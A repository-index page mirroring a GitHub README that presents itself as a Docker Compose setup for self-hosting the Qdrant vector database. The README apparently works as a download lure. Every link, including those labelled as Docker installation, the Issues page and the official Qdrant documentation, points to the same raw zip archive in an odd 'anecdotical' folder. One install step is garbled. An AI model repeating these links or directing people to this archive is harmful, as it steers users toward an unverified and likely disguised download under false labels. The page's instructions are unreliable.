https://github.com/champ9090/qdrant-self-hosted
đī¸ Run a self-hosted Qdrant vector database using Docker with easy setup, persistent data, and integration for smooth service connections.
https://github.com/champ9090/qdrant-self-hosted
agents ai airathalitov airattop audio-search bert-embeddings deployment docker huggingface llama local-ai machine-learning mcp rag retrieval-augmented-generation searxng web-scraping workflows
Last synced: 2 months ago
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đī¸ Run a self-hosted Qdrant vector database using Docker with easy setup, persistent data, and integration for smooth service connections.
- Host: GitHub
- URL: https://github.com/champ9090/qdrant-self-hosted
- Owner: champ9090
- License: mit
- Created: 2025-10-24T01:23:51.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2025-10-24T17:27:52.000Z (8 months ago)
- Last Synced: 2025-10-24T19:19:56.953Z (8 months ago)
- Topics: agents, ai, airathalitov, airattop, audio-search, bert-embeddings, deployment, docker, huggingface, llama, local-ai, machine-learning, mcp, rag, retrieval-augmented-generation, searxng, web-scraping, workflows
- Language: Shell
- Size: 9.77 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# đ qdrant-self-hosted - Easily Self-Host Your Qdrant Database
[](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip)
## đ Overview
This project provides a simple Docker Compose setup for self-hosting the Qdrant vector database. It comes with persistent storage and management scripts to make setup easy. With this application, you can integrate AI applications and services, like n8n, smoothly on a shared network.
## đ ī¸ Features
- **Easy Installation:** Quick setup with Docker Compose.
- **Persistent Storage:** Keeps your data safe and secure.
- **Management Scripts:** Help you manage your setup easily.
- **AI Integration:** Works well with applications like n8n.
## đĨ Download & Install
To get started, visit the [Releases page](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip) to download the latest version. Follow these steps to successfully install the software:
1. Go to the [Releases page](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip).
2. Find the latest release.
3. Look for the `https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip` file included in the release.
4. Download this file to your computer.
### đ System Requirements
- **Operating System:** Linux, macOS, or Windows.
- **Docker:** Must have Docker installed. [Install Docker](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip).
- **Docker Compose:** Required for orchestration. [Install Docker Compose](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip).
## đ§ Running the Application
1. Open your terminal (Command Prompt, PowerShell, or Terminal for Mac).
2. Navigate to the directory where you downloaded the `https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip` file.
3. Run the following command:
```bash
docker-compose up -d
```
4. This command starts the Qdrant database in the background.
## đ Accessing the Database
After starting the application, you can access the Qdrant vector database via your web browser:
- Open your browser and navigate to `http://localhost:6333`.
## đ Management Scripts
Once you have Qdrant running, you can manage your database with the provided scripts. These scripts help you perform tasks like:
- Importing and exporting data.
- Querying the database.
- Managing your vector embeddings.
## đ§ Basic Commands
Here are some basic commands to manage Qdrant:
- **Start the Database:** Use `docker-compose start` to run the database.
- **Stop the Database:** Use `docker-compose stop` to stop it.
- **View Logs:** Check the database logs by running `docker-compose logs`.
## âšī¸ Troubleshooting
If you encounter issues:
- Make sure Docker is running.
- Check if Docker Compose is installed and updated.
- Review the logs for any error messages.
Common problems include:
- Permission issues: Ensure you have the necessary permissions to run Docker commands.
- Network issues: Make sure your firewall allows necessary traffic.
## đ Getting Help
For further assistance, you can visit the [GitHub Issues page](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip) to report problems or ask questions.
## đ Learn More
Explore the Qdrant documentation for deeper knowledge on its capabilities:
- [Qdrant Official Documentation](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip)
## đ Conclusion
Enjoy using the Qdrant vector database with ease. By following this guide, you have installed and run the application. Remember to explore its features for your AI projects. For any updates or new features, keep an eye on the [Releases page](https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted-3.8.zip).